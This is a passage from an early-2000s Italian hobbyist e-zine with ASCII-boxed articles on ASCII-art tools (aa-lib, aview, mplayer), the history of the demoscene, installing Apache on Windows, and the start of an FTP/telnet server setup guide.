| |
|Bene, ora abbiamo le librerie, il nostro sistema e' pronto per usarle, ci vuole |
|solo il software che le sfrutti. |
| |
|P.S. alla fine del comando ./configure ci viene data un importante informazione,|
|ovvero il driver "video" che le librerie hanno trovato installato e con cui di |
|conseguenza funzioneranno, puo' essere uno dei seguenti: |
| |
| linux, X11, slang, stdout, stderr |
| |
|Non e' necessario ricordarlo ma se smanetterete un po potrebbe esservi utile, in|
|tal caso potete sempre lanciare il comando "aainfo" x avere queste informazioni |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Installare aview |
| |
|Per prima cosa installeremo un semplice programmino che ci consente di visualiz-|
|zare le nostre immagini in caratteri Ascii. |
| |
|Scaricate i sorgenti dal sito delle aa-lib |
|(ripeto http://aa-project.sourceforge.net) |
|e compilateli allo stesso modo di come e' stato descritto sopra per le aa-lib. |
|installato il programma digitate aview --help per una lista dei comandi disponi-|
|bili (si dice sempre cosi' :). se siete lame e avete subito voglia di provare |
|fate semplicemente: |
| |
| aaview vostra_immagine.pnm |
| |
|.pnm ?? e che e'?? e' un formato usato per le immagini... convertire da jpg, |
|png, gif o qualsiasi altra cosa e' semplicissimo basta un programma di foto |
|editing come gimp o image magick. |
| |
|Visto ?? vi e' piaciuta la vostra faccina o la vostro foto porno preferita in |
|Ascii?? |
|Bene, sono contento ... ora mentre avete lo screen dell'ascii aperto premete "h"|
|e potrete scoprire come fare a salvare la vostra immagine in un formato adatto a|
|quello che dovete fare. |
| |
|E' possibile salvarla per incollarla su un canale irc (quindi solo testo) |
|salvarla in png (anche grafica) in html (addirittura pure in html) o altri for- |
|mati che ora non mi sovvengono :P c'e' gente che ha sviluppato un programmino |
|per trasmettere immagini da una webcam in ascii, sono amici miei di qui, non so |
|se troverete roba su internet, cmq ci sono molti programmi che fanno cose simili|
|sempre col supporto delle aa-lib. |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Non solo immagini! |
| |
|Ora viene la parte piu' succosa :) |
|Esistono anche dei programmi che parmettono di vedere i video in ascii! tra i |
|tanti (oddio) ce n'e' uno che vi consiglio assolutamente, non solo per gli ascii|
|permette di vedere anche i divx e supporta un casino di formati (tra cui quelli |
|di winzozzo). |
| |
|Si chiama mplayer e lo potete scaricare (correlato di accessori vari tipo skin, |
|fonts, ecc.) su http://www.mplayerhq.hu |
|Una volta scaricati i sorgenti compilateli: |
| |
| ./configure --enable-gui && make && make install |
| |
|per vedere i video "normalmente" consultate la documentazione fornita con i sor-|
|genti relativi alle vostre schede mutlimediali (audio e video) per quanto ri- |
|guarda l'Ascii Art, se avete gia' installato le aa-lib mplayer le riconoscera' |
|al comando ./configure e vi sara' necessario specificare come driver out "aa": |
| |
| mplayer -vo aa nomefile.avi |
| |
|WOOOOOWW mi sto vedendo un film in Ascii!! |
| |
|finita l'eccitazione noterete che ci sono varie opzioni relative al driver delle|
|libs, potete sempre fare riferimento alla documentazione per un uso piu' appro- |
|fondito. |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Conclusioni |
| |
|Beh, io vi ho dato un piccolo spunto su quello che di carino si puo' fare, come |
|avrete notato sul sito delle aa-lib stanno cercando di fare il porting d
elle |
|librerie su tutte le piattaforme ... (addirittura lo zx spectrum) esiste gia'una|
|versione per win32, ma nn so se c'e' del software che la sfrutta. |
|Inoltre se siete dei programmatori, potrete provare a scrivere qualcosa che |
|includa le aa-lib aiutando cosi' lo sviluppo di questo grande progetto ovvia- |
|mente open source :) |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Saluti e cazzate finali |
| |
|Spero di non avervi annoiato, in ogni caso ora probabilmente vi annoierete lo |
|stesso: Saluto la mia ex-ragazza (fino a qualche giorno fa era tutto perfetto |
|:() e colgo l'occasione per dire che mi manca tantissimo, ringrazio tutti quelli|
|che mi hanno dato l'opportunita' di scrivere questo txt, saluto gli amici della |
|mojodo crew e gli mando un "in bocca al lupo" |
| |
| Ciao alla prox :) |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
|Gick Zine n° 1 - [GRAFICA] -=[06]=- |
|L'angolo della Demo Scene Gaetano |
+--------------------------------------------------------------------------------+
| |
|Cerchiamo di conoscere i programmi più strani mai concepiti su un computer e |
|tutto il caratteristico ambiente (è meglio dire underground) che li ha partoriti|
|le demo. |
| |
+--------------------------------------------------------------------------------+
| |
|Cosa è una demo? |
| |
|Si tratta, a mio avviso, della prima forma di vera multimedialità mai realizzata|
|e risale addirittura ai tempi del C64. |
|Una demo è un insieme di codice, grafica e musica del tutto priva o con minima |
|interazione con l'utente, che mostra una serie di effetti speciali, animazioni, |
|giochi di luci, forme e colori del tutto fini a se stessi! |
|Una demo non serve a nulla: si vede e basta. |
| |
|Però guardare una demo è come guardare un video musicale, anzi di più! |
| |
|Spesso mostra ciò che può REALMENTE fare un computer se spinto al massimo delle |
|sue capacità (certe demo su A500 sono incredibili nonostante le esigue dotazioni|
|di una "macchinetta" con soli 7,14 MHz ed 1 Mb di ram, quando oggi 100 MHz e 1Gb|
|sono decisamente pochi!). |
| |
|Dico "realmente" per un semplice motivo: una demo non si compra, non si vende, |
|non ha "validità commerciale" ed è fatta da programmatori che si divertono sul e|
|con il proprio computer, quindi disinteressatamente provano a spingerlo oltre le|
|sue capacità. Nel contempo mostrano anche le loro capacità di programmatori, |
|acquistando fama in tutto il mondo per ciò che sono riusciti a fare! |
| |
|Ovviamente un programmatore, in gergo "coder", non sempre sa anche disegnare |
|bene o comporre musiche di qualità, quindi per migliorare la sua demo collabora |
|sinergicamente con dei "graphician" (grafici) e "musician" (musicisti) che gli |
|forniscono il materiale grafico e sonoro necessario. |
| |
|Spesso il coder tecnicamente è bravissimo ma non ha un minimo di inventiva! |
|E poiché una serie di effetti speciali o immagini ha più effetto se sono nella |
|giusta sequenza, bisogna studiare la sequenza migliore per ottenere il migliore |
|effetto. Quindi è spesso presente anche un designer che coordina il lavoro di |
|tutti per ottenere la giusta composizione: un vero e proprio regista. Una volta |
|terminata la demo, bisogna farla vedere al resto del mondo e per diffonderla il |
|più rapidamente possibile (specie quando Internet non era ancora diffuso come |
|adesso) ci vuole gente con i contatti giusti che la distribuisca capillarmente, |
|cioè gli swappers. |
| |
|Insomma da semplici demo-nstration (dimostrazioni) delle capacità di coder, |
|graphician e musician, le demo divengono grossi progetti, spesso di notevole |
|livello artistico, con una complessa organizzazione alle spalle e tutto assolu- |
|tamente solo per la gloria! |
| |
|Perché una demo mi dovrebbe interessare? |
| |
|Questo discorso è soggettivo, ma va inquadrato nel giusto modo. Si può facilmen-|
|te pensare: "una demo non serve a nulla, quindi non merita per nulla la mia |
|attenzione". Sbagliato! |
| |
|Dietro alle demo si nascondono tecniche d'avanguardia per la realizzazione di |
|effetti speciali via codice, via grafica e via musica quasi sempre implementate |
|subito dopo nei migliori videogiochi in commercio. |
| |
|Un esempio? Nel 1991 Cube-O-Matic di Buddha/Spreadpoint mostrava per primo su |
|Amiga 500 un cubo 3d in movimento con i lati coperti da schermate grafiche ed |
|animazioni (il famoso texture mapping di cui Doom è pieno) e con l'ombreggiatura|
|dei lati in base al movimento (il cosiddetto shading). |
|Pensateci mentre guardate i giochi più recenti e ricordate che Genetic Species è|
|fatto da Powdihacker/Ambrosia e Trapped 1 e 2 è un progetto degli Oxyron deriva-|
|to dal motore 3d della demo Temple of Decease. |
| |
|Inoltre se c'è un modo per far sbiancare un Peeceesta con un misero A500, è |
|proprio fargli vedere una bella demo psichedelica e poi dirgli che gira su un |
|computer a 7 Mhz! |
| |
|Ovviamente esistono demo su anche PC, spesso di qualita' indiscutibile, ma manca|
|la tradizione che ha reso la Scena Demo Amiga una delle migliori e che sforna |
|regolarmente demo dello stesso livello qualitativo (se non superiore), che |
|girano a velocità decisamente inferiori (max. 50 MHz) e su processori tecnica- |
|mente obsoleti". |
|Sappiate però che molti dei migliori attuali coders PC sono ex-coders Amiga! |
| |
+--------------------------------------------------------------------------------+
| |
|Come nascono le demo |
| |
|Le demo sono una diretta evoluzione delle intro che i crackers (non quelli che |
|si mangiano, ma i pirati software) ponevano davanti ai giochi o programmi |
|piratati per dichiarare a tutti nel modo più evidente ed efficace possibile che |
|li avevano crackati loro, e che spesso erano molto più belle dei giochi stessi! |
|I programmatori professionisti hanno sempre accusato i crackers di essere degli |
|incapaci, bravi solo a sproteggere giochi, ma che non sapevano realizzare niente|
|di tecnicamente valido. Beh, le demo erano lo schiaffo morale risposto dei |
|crackers! Era la seconda metà degli anni '80: tempi pionieristici del C64. |
| |
|Poi i gruppi di pirati si sono organizzati meglio. Molta gente si specializzava |
|nel fare intro e demo per altri crackers (del proprio o di altri gruppi) previo |
|pagamento da parte di questi ultimi (davvero capaci solo di crackare e basta e |
|spesso neanche bene!) in denaro o in programmi crackati. Spesso si formavano |
|"sezioni demo" del gruppo di pirati, come i famosissimi Fairlight con due delle |
|migliori "demo section" a livello mondiale, una su C64 e l'altra su Amiga, anzi |
|questi ultimi erano così in gamba da meritarsi un minimo di autonomia e |
|chiamarsi Virtual Dreams/ Fairlight (quel "/Fairlight" indica comunque |
|l'appartenenza al gruppo). |
| |
|Insomma molta gente si era scocciata di crackare e piratare programmi e basta e |
|volevano fare qualcosa di legale, anche perché era più divertente e soprattutto |
|proficuo senza alcun rischio (la pirateria nell'Europa del nord è presa molto |
|seriamente dalle autorità e l'arresto è frequente). Nascono così i primi "demo |
|-groups". |
| |
|Chiariamo con un esempio eclatante il concetto di "proficuo senza rischio". Se |
|qualcuno ricorda i bei tempi del C64, avrà sicuramente sentito le musiche dei |
|Maniacs of Noise (Jeroen Tel e Charles Deenen). Il nickname (soprannome) di |
|Charles Deenen nell'ambiente era TMC ovvero The Mercenary Cracker! Beh, dopo |
|aver lavorato per qualsiasi ditta abbia prodotto giochi per C64 (ed erano |
|richiestissimi: un gioco con le musiche dei MoN era garanzia di qualita!) ed |
|aver fatto molte musiche anche su Amiga, Charles Deenen è da anni a capo della |
|settore musicale della Interplay: le musiche di Descent (per citare un gioco |
|particolarmente noto) sono sue. |
| |
|Ho parlato di "ambiente", perché i vari gruppi di pirati e demo groups erano |
|sempre in contatto tra loro e in qualche modo si conoscevano (almeno via modem).|
|Insomma pian piano si andava delineando quella che poi sarà chiamata la Scena. |
| |
|Ma l'evento più importante che avrebbe cambiato il mondo stava arrivando. |
|Era la fine degli '80 / inizi '90: era nato l'Amiga. |
|Un computer con inaudite capacità tecniche, facile da programmare e incredi- |
|bilmente versatile, che faceva proseliti ovunque e fin dalle sue origini contava|
|un folto numero di demo groups dovunque in contatto tra loro: si era formata la |
|Scena Amiga. Il resto è storia dei giorni nostri. |
| |
+--------------------------------------------------------------------------------+
| |
|Regole e abitudini della Scena |
| |
|Poche regole: chiunque abbia prodotto qualcosa a livello demo è uno "scener" e |
|per farsi riconoscere da tutti ha il suo nickname ed il suo gruppo di apparte- |
|nenza. Il "nick" è un nome di battaglia di ovvia derivazione piratesca: |
|diffondere il proprio nome tra pirati è stupido, la polizia ti becca subito, |
|mentre con un nomignolo solo pochi intimi conoscono il tuo vero nome ed è meno |
|rischioso. Del resto è difficile per qualunque straniero pronuciare nomi stra- |
|nieri senza storpiarli, quindi Azure/Artwork, Lazur/Nah-Kolor o Moby/Sanity |
|saranno più facili da ricordare del vero nome tedesco, polacco e francese e |
|danno quel divertente tocco di mistero in più. L'accoppiata nickname/gruppo di |
|appartenenza va sempre insieme perché identifica lo scener e nel bene e nel male|
|diffonde la nomea del suo gruppo, specie quando lo scener "è molto attivo", cioè|
|produce sempre qualcosa di nuovo. |
| |
|"Friendship rules" (l'amicizia domina), ma nonostante l'amicizia uno scener deve|
|produrre qualcosa per il gruppo, altrimenti viene "kickato" (cacciato) per |
|inattività. L'amicizia vale tra i componenti del gruppo, ma non necessariamente |
|tra due gruppi e le wars (guerre) tra gruppi specie in tempi passati erano |
|comuni tanto che spesso si legge nel bel mezzo di una demo piuttosto datata un |
|bel "fuckings to" (vaffan.. a) qualcuno che ha detto o fatto qualcosa contro di |
|loro! |
| |
|Bisogna avere rispetto per i gruppi che dimostrano di saper fare qualcosa di |
|"cool" (figo) o di essere buoni amici, e gli vanno fatti i "greetings" (saluti).|
|C'è una gerarchia e specie se si è agli inizi e le proprie produzioni non sono |
|granché, molti sceners bravi che si considerano "elite" potrebbero chiamare i |
|neofiti "lamer" (zoppo, cioè incapace). |
| |
|Infine ci sono le riunioni per conoscersi e scambiare le proprie demo ed |
|esperienze tecniche. Nei primi tempi li chiamavano "copy-party": un gruppo di |
|ragazzi (spesso quasi tutti pirati) si riunivano a casa di qualcuno, portavano |
|materiale già crackato o demo inedite o anche roba originale da crackare insieme|
|a tutti gli altri. |
| |
|Poi la cosa si è MOLTO evoluta: la casa di quel qualcuno non era mai grande |
|abbastanza e non la si poteva occupare per 2-3 giorni di seguito con più di una |
|decina di persone straniere! Quindi qualche gruppo ha pensato di unire le |
|proprie forze, spendere qualche soldo ed affittare un locale o un capannone e |
|magari con un piccolo contributo spese (biglietto di ingresso) si sarebbe |
|organizzata una vera e propria gara-spettacolo di demo. Magari approfittando |
|della locale fiera per computer. Queste erano le "conference". |
| |
|Ma quando l'organizzazione è ben fatta, ci sono premi in denaro o in periferiche|
|per computer, c'è spazio, tavoli per lavorare, un servizio mensa, un'area |
|dormitorio (obbligatorio il sacco a pelo) e servizi igienici, può venire più |
|gente! Così nascono i "Party". |
|Il primo "esperimento in grande" di questo tipo venne tentato il 26 dicembre |
|1991 ad Aars in Danimarca. |
| |
|Si chiamava The Party '91 ed erano presenti 1200 persone provenienti da tutta |
|Europa per parlare, vedere e gareggiare con le proprie demo. |
| |
|Da allora e per 8 anni consecutivi dal 27 al 30 dicemebre in Danimarca ogni anno|
|c'e' un The Party. |
| |
+--------------------------------------------------------------------------------+
| |
| Gaetano |
| |
+--------------------------------------------------------------------------------+
__ __ _
\ \ / /_ _ _ __(_)
\ \ / / _` | '__| |
\ V / (_| | | | |
\_/ \__,_|_| |_|
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [VARI] -=[07]=- |
| 0GGi Mi M0NT0 UN WEB SERVER SU WiND0WS [Screener_it] |
+--------------------------------------------------------------------------------+
| |
| ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- |
| OGGI MI MONTO UN WEB SERVER su WINDOWS |
| ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- |
| |
| |
| Autore: Screener_it |
| email: screener_it@freemail.it |
| URL: http://go.to/tankcommandos - www.tankcommando.org |
| DATA: 26/04/01 |
| |
+--------------------------------------------------------------------------------+
| |
| Non so proprio che fare quindi scrivo quest'articoletto... Sperando che sia di |
|vostro grandimento... |
| |
| Allora... Cominciamo dall'inizio (e da dove cominciavamo, altrimenti? |
|Dalla fine?). Cos'è un Web Server? |
|Semplice. Un web server è un demone che se ne sta in ascolto in genere sulla |
|porta 80 e che regola le connessioni che riceve... |
|Noto più comunemente come demone HTTPD. |
|Chiaro? No? Insomma, quando voi vi collegate a un sito come fate? Aprite il |
|vostro browser [Netscape, Opera, Explorer, ecc..] e scrivete l'URL della pagina |
|che volete visitare... |
|Il DNS del vostro provider (non importa se non sapete cos'è..) trasforma l'URL |
|in indirizzo Ip (es microsoft.com = 254.254.254.254) e indirizza la vostra ri- |
|chiesta alla macchina che risponde a quell'indirizzo ip che provvederà a rispon-|
|dervi con la pagina che avete richiesto... |
|Ma a rispondervi non è la macchina, bensì un programma [demone HTTPD] predispos-|
|to a ciò... |
| |
|Direi che più chiaro di così è difficile!!! |
| |
|Allora, avete capito cos'è un Web Server. Resta il problema di come montarlo... |
| |
+--------------------------------------------------------------------------------+
| |
|Oggi come oggi, con il livello raggiunto da molti pacchetti, montarsi un Web |
|Server è relativamente semplice e richiede conoscenze che si possono acquisire |
|in 5 minuti netti... |
|Naturalmente una cosa è montare un web server, un'altra cosa è amministrarlo, |
|aggiornarlo, ecc... |
| |
|Attualmente esistono decine di demoni HTTPD.. I più famosi ed usati sono: |
| |
| 1) Apache web server |
| 2) Microsoft IIS |
| 3) Netscape Enterprise |
| |
|Io vi parlerò di Apache Web Server, per un paio di motivi non da poco: |
| |
| a) E' gratuito |
| b) E' multipiattaforma [Linux, Win, MAC] |
| c) E' Open Source |
| d) E' il più diffuso [almeno a sentire punto-informatico.it] |
| |
+--------------------------------------------------------------------------------+
| |
|Apache è un web server nato con Linux e ne condivide con lui le caratteristiche |
|principali, cioè la gratuità e l'open source. Probabilmente queste caratteristi-|
|che, che lo rendono personalizzabile da ogni admin ne fanno il demone più usato.|
| |
| 1) Dove scaricarlo? |
| |
|Semplice: Andate su http://httpd.apache.org/dist/httpd/binaries/win32/ |
|e troverete dei file con nomi particolari che ne indicano il tipo. |
| |
|Un esempio è : apache_1.3.19-win32-no_src-r2.ms |
| |
| [Vedere Apache.zip] |
| |
|La prima parola è apache... Non credo che ci sia molto da dire... |
|Poi c'è la versione, in questo caso 1.3.19 |
|Poi il tipo di S.o. per cui è fatto quel file, Win32 in questo caso... |
|Poi c'è la sigla che indica se questo file contiene o meno i sorgenti, no_src |
|indica che non sono i sorgenti ma il server già compilato.. Se c'è src il file |
|contiene i sorgenti. |
|msi non è il Movimento Sociale Italiano, non preoccupatevi!!! |
|E' il MSI Installer Package... Ne sapete tanto che prima, vero? Beh, in parole |
|povere è un sistema inventato dalla MS per ridurre il peso dei file di setup.. |
|Funziona? Mah... |
| |
| 2) Multipiattaforma però... |
| |
|Però c'è un però. Infatti il programma è stato testato e creato per lavorare su:|
| |
| a) Windows NT |
| b) Windows 2000 |
| |
|Funziona anche su Win 95 & 98, però stando a quanto dichiara Apache.org chi lo |
|installa su Win 9* lo fà a proprio rischio e pericolo. |
|Io l'ho provato e vi assicuro che funziona egregiamente anche su Win 9*, ma bi- |
|sogna scaricare gli aggiornamenti che trovate sempre su |
| http://httpd.apache.org/dist/httpd/binaries/win32/ |
|in fondo alla pagina in base al vostro S.o. |
| |
|IMPORTANTE: se non scaricate il MSI Binary Distribution Packages non potrete |
|nemmeno installarlo Apache, chiaro? Installate prima questo aggiornamento e poi |
|potrete installare Apache. |
| |
| 3) Adesso comincia il bello... |
| |
|Ok, abbiamo scaricato il file |
|apache_1.3.19-win32-no_src-r2.ms |
|e abbiamo aggiornato il nostro windows (se necessario)... Adesso comincia ad |
|installare il tutto.. Facciamo dopo click sul file d'installazione nominata qui |
|sopra e cominciamo con l'installazione. Le solite storielle... Clicchiamo Next |
|Come al solito inserite il vostro nome e quello della vostra compagnia... |
| |
|Prima schermata importante: |
| |
| Server name: |
| Domain name: |
| administrative email account: |
| |
|Dipende da che uso volete farne... Se volete fare un server HTTP sul vostro pc, |
|quindi non avete dominio ecc.. impostate le prime 2 a 127.0.0.1 (che è l'ip che |
|indica il localhost) e come email mettete quella che preferite. |
|Se invece dovete installare Apache su un vero server compilate con i dati in |
|vostro possesso... |
| |
|Come directory d'installazione potete lasciare c:\programmi\Apache Group\Apache\|
|oppure potete cambiarla come più vi aggrada.. In questo txt io userò l'imposta- |
|zione di default. |
| |
|Ok, avete installato il tutto, ora riavviate... |
| |
| 4) E adesso? |
| |
|Adesso abbiamo installato il tutto e comincia il divertimento... |
|Prima di tutto dobbiamo controllare che tutto sia andato a posto... |
|Selezioniamo: |
|Start/Programmi/Apache httpd server/Start Apache in Console |
|Si apre una finestra di MS-DOS con la scritta "Apache/1.3.19 (Win32) running..".|
|Non chiudetela. Ora aprite il vostro browser preferito e come URL scrivete |
|127.0.0.1 [che come spiegato prima è l'ip che indica localhost, cioè il vostro |
|computer..]. |
|Se vi si apre una pagina con la scritta "Funziona! Il Server Web Apache e' stato|
|installato su questo sito Web.." ecc.. avete montato il vostro primo web server!|
|Complimenti... |
| |
|Però non siete neanche che a metà dell'opera. L'avete installato, sì... |
|Ma adesso dovete configurarlo. Chiudete il Prompt di Dos e anche il browser. Ora|
|dovete creare le vostre pagine configurare le porte capire come funzionano i log|
| |
+--------------------------------------------------------------------------------+
| |
|Con la configurazione di default le impostazione di Apache sono queste: |
| |
| a) Le pagine si trovano presso C:\Programmi\Apache Group\Apache\htdocs |
| b) I documenti (in inglese) che spiegano il tutto si trovano presso |
| C:\Programmi\Apache Group\Apache\htdocs\manual |
| c) La porta è la 80 |
| d) I file log sono contenuti in C:\Programmi\Apache Group\Apache\logs |
| e si dividono in: |
| 1) error.log: contiene gli errori rilevati dal demone |
| 2) access.log: contiene ora, ip e materiale prelevato dal web server |
| |
|Ogni cosa è configurabile secondo la propria necessità. Il file principale di |
|configurazione è httpd.conf che si trova nella cartella |
|C:\Programmi\Apache Group\Apache\conf |
| |
|Nella suddetta cartella troverete numerosi altri file e vedrete che tutti avran-|
|no dei doppioni tipo httpd.default.conf. Questi "doppioni" sono dei file di |
|default creati appositamente per gli utenti meno esperti che se distruggono o |
|modificano troppo gli originali *.conf posso cancellarli e usare i default.conf |
|che contengono le configurazioni di default della macchina. |
| |
|Ognuno di questi file può essere aperto con un editor qualunque di testo |
|(meglio notepad.exe) e modificati a piacimento. Ogni voce è commentata con |
|numerose righe di spiegazione (tutto in inglese, logico). |
|I commenti sono preceduti da #. |
| |
|Esempio: |
| |
| #Questo è un commento |
| Questa è una riga di comando |
| |
|Potete modificare i file di configurazione a vostro piacimento, ma dato che le |
|possibili modifiche e le voci sono davvero troppe vi rimando ai commenti dei |
|singoli file, che [anche se in inglese] sono davvero esaurienti. |
| |
|Qui mi atterrò alla configurazione standard. Una volta che avrete capito le basi|
|di Apache ne potrete anche modificare l'impostazione. Per adesso attenetevi allo|
|standard. |
| |
+--------------------------------------------------------------------------------+
| |
|Primo problema: Caricare il sito in modo che Apache faccia vedere le nostre |
|pagine invece di "Funziona! Il Server Web Apache e' stato installato su questo |
|sito Web..". |
| |
|Aprite C:\Programmi\Apache Group\Apache\htdocs e cancellate pure tutto il conte-|
|nuto TRANNE la cartella manual. Infatti le pagine che vedete sono solo pagine di|
|benvenuto di Apache in diverse lingue (inglese, francese, spagnolo, ecc..). |
|Nella cartella mettete le vostre PagineWeb/Immagini/Zip/Mp3 e quant'altro |
|vogliate... Ricordate che la prima pagina deve chiamarsi index.html.. |
|Mi raccomando!!! Bene... |
| |
|E adesso ? Fate partire Apache |
|(Start/Programmi/Apache httpd server/Start Apache in Console ) e aprite di nuovo|
|il browser. Nell'URL scrivete 127.0.0.1 e.. Se arrivate alle pagine che avete |
|caricato nella cartella C:\Programmi\Apache Group\Apache\htdocs allora è andato |
|tutto bene... |
|Altrimenti c'è qualcosa di sbagliato... Controllate bene che: |
| |
| 1) La prima pagina si chiami index.html |
| 2) Avete cancellato le pagine che c'erano prima come vi avevo detto? |
| 3) Se appare un messaggio con un numero di errore segnatevi il tutto e comuni- |
| catelo ad Apache insieme alla vostra configurazione.. Probabilmente avete |
| trovato un bug... |
| |
|Se avete già tutte le pagine in una cartella e non avete voglia di spostarle |
|nella cartella C:\Programmi\Apache Group\Apache\htdocs allora fate così: |
| |
| 1) Aprite httpd.conf con notepad |
| 2) Cercate le stringhe C:\Programmi\Apache Group\Apache\htdocs |
| 3) Modificatele con la cartella dove si trova il sito sul vostro PC. |
| |
|Ricordate che tutte le sottocartelle saranno accessibili. Esempio: se indicate |
|c:\sito sarà accessibile (anche se solo in lettura) anche c:\sito\password se |
|esiste o c:\sito\porno, ecc... |
| |
+--------------------------------------------------------------------------------+
| |
|Ok, adesso le pagine sono visibili... Vediamo i log... |
|Essi sono contenuti in C:\Programmi\Apache Group\Apache\logs di default. |
| |
|Potete leggerli con un qualsiasi editor (sempre consigliato notepad.exe). |
|Bisogna saperli leggere, ma è molto semplice!!! |
| |
| Ecco una riga di access.conf |
| |
| 127.0.0.1 - - [27/Apr/2001:16:14:47 +0200] "GET /apache_pb.gif HTTP/1.1" 304 - |
| |
| 127.0.0.1 ---> l'ip che vi ha fatto visita... |
| [27/Apr/2001:16:14:47 +0200] ---> la data |
| GET /apache_pb.gif HTTP/1.1 ---> il file che ha visualizzato |
| 304 ---> codice che indica l'avvenuta operazione... |
| |
| Qui invece vediamo una riga che indica un errore... |
| |
| 127.0.0.1 - - [27/Apr/2001:16:16:11 +0200] "GET /faq.html HTTP/1.1" 404 280 |
| |
| 127.0.0.1 ---> l'ip che vi ha fatto visita... |
| [27/Apr/2001:16:16:11 +0200] ---> la data |
| GET /faq.html HTTP/1.1 ---> il file che ha visualizzato |
| 404 ---> codice che indica "File Not Found" |
| |
|Nel file error.log ritroverete tutti gli errori con una spiegazione più completa|
| |
| [Fri Apr 27 16:16:11 2001] [error] [client 127.0.0.1] |
| File does not exist: c:/programmi/apache group/apache/htdocs/faq.html |
| |
|E' lo stesso evento di prima, vi dice che ha richiesto un file che non esisteva.|
| |
+--------------------------------------------------------------------------------+
| |
|Ok, adesso avete capito come si montano le pagine, ecc... |
|Resta il problema: come fanno gli altri ad accedere alle pagine che abbiamo sul |
|computer? Allora, prima di collegarvi a internet fate partire |
| Start/Programmi/Apache httpd server/Start Apache in Console. |
|Non chiudetelo e collegatevi a internet. Chiunque si collegherà al vostro ip |
|tramite un browser qualsiasi vedrà le vostre pagine. |
| |
|Un consiglio: dite agli amici mentre siete in IRC "Fammi un /whois e scrivi il |
|mio ip nella barra degli indirizzi di Internet Explorer... |
| |
|Vedrete che figurone :)) |
| |
|Mi raccomando: avete fatto tutto da soli, non conoscete nessun Screener_it e |
|questo txt non l'avete mai neanche visto... Anzi, questo txt non esiste proprio!|
| |
+--------------------------------------------------------------------------------+
| |
|Un paio di ringraziamenti: |
| |
| Bakunin [eheh, visto che il server me lo sono montanto anch'io?] |
| FeltonSpray [ma quanti caxxo di articoli mi mandi??? Basta :))] |
| tutti quelli del Tank Commandos [è grazie a voi che un piccolo progetto è diven|
| tato un grande sito..] |
| Kewl' [pure tu in quanto ad articoli non scherzi..] |
| Green Dragon [Inter - Herta & Inter - Viola sì.. Ma il derby no.. Codardo :))] |
| La Me Laùra [La conoset po' ti la me laùra? 'Peta che te la ciamo. Laùraaa!!!] |
| Tutti quei pazzi che pubblicano i miei articoli |
| Tutti quelli che mi salutano in IRC "Ma tu 6 quello che ha scritto.. Caxxo, nn |
| mi ricordo + che hai scritto !" :))] |
| |
|Un bel fanculo a quel GRANDE hacker che ha RUBATO materiale dal sito di noi Tank|
|e l'ha usato e modificato a suo piacimento.. Non serve il nome, chi ha la co- |
|scienza sporca ha capito !! |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [VARI] -=[08]=- |
| Oggi mi montro l'FTP su Windows [Screener_it] |
+--------------------------------------------------------------------------------+
| |
| ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- |
| OGGI MI MONTO UN L'FTP su WINDOWS |
| ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- |
| |
| |
| Autore: Screener_it |
| email: screener_it@freemail.it |
| URL: http://go.to/tankcommandos - www.tankcommando.org |
| DATA 15/05/01 |
| |
+--------------------------------------------------------------------------------+
| |
|Sono esattamente le 21.00 quando incomincio a scrivere questo txt... |
|Ho promesso a Tritemius che per il prossimo numero della ezine avrei buttato giù|
|qualcosa... E qualcosa ho buttato giù! |
| |
|Oggi parleremo di come montare un server ftp e un telnet funzionante! su Windows|
|in modo del tutto gratuito. |
| |
|La cosa non è facile come montare un WebServer (vedi txt "Mi monto un web server|
|su Windows" [articolo precedente]) ma tutto sommato fattibile. |
| |
|Ho visitato www.download.com e ho cercato FTP server.. Ho trovato più di quanto |
|sperassi. |
| |
|Fictional Daemon 4.1... Rapida occhiata... Windows 9*/NT... Perfetto, è freeware|
|appena 900 kb... E in più ha anche il telnet. |
| |
|Ok, partiamo con il download. |
| |
| [Vedere FictionalDaemon.zip] |
| |
|Finito. Adesso bisogna installarlo. |
| |
|L'installazione è classica... Anzi, più che classica è proprio semplicissima!!! |
|Un paio di next e ha già finito... |
| |
|Ok, ora il programma è installato in c:\programmi\FDaemon quindi io indicherò |
|sempre quella dir come riferimento. |
| |
|C'è anche il collegamento nel menù di avvio. Ok, facciamolo partire. |
| |
|Soliti bla, bla, bla.. "Sei d'accordo nell'utilizzo." Certo! Click. |
| |
|Ora parte la configurazione vera e propria. |
| |
+--------------------------------------------------------------------------------+
| |
|Appena avviato e accettate le condizioni mi dice che adesso dobbiamo creare un |
|account per l'amministratore. La cosa si fà interessante. |
|Ok, andiamo avanti. Mi fà scegliere pass & id. |
| |
|ID: screener_it (l'id del vostro root) |
|PASS: conlaminchiachescrivoquilamipass |
| |
|Altra finestra. "Attenzione, l'amministratore non ha alcun diritto per amminis-|
|trare le cartelle. Cliccare VFS per configurare." Va bene. |
| |
|Vicino a USER ID vedrete una menù a discesa e dovrete selezionare l'ID che avete|
|creato appena adesso e poi cliccare Show. |
| |
|Sotto di voi vedrete tutto l'elenco dei permessi dell'utente. SOno i classici. |
|Cmq facciamo un elenco per i meno esperti (come se io fossi esperto...) |
| |
| Execute: Permesso di eseguire programmi |
| Shutdow/reboot: Permesso di spegnere il pc |
| cd /dir: permesso di muoversi nelle dir |
| Set time/date: devo spiegarlo? |
| Kill/Close/Die/Userlogoff: permesso di intervenire sui processi del pc. |
| Schedult: permette di creare schedule, programmi cioè che si ripetono |
| Usermanager: permette di controllare gli accessi in base all'ip |
| Change own password: permesso di cambiare password |
| Other, info type: altre info |
| |
|Se ho sbagliato qualcosa (credo di sì) mailatemi!! |
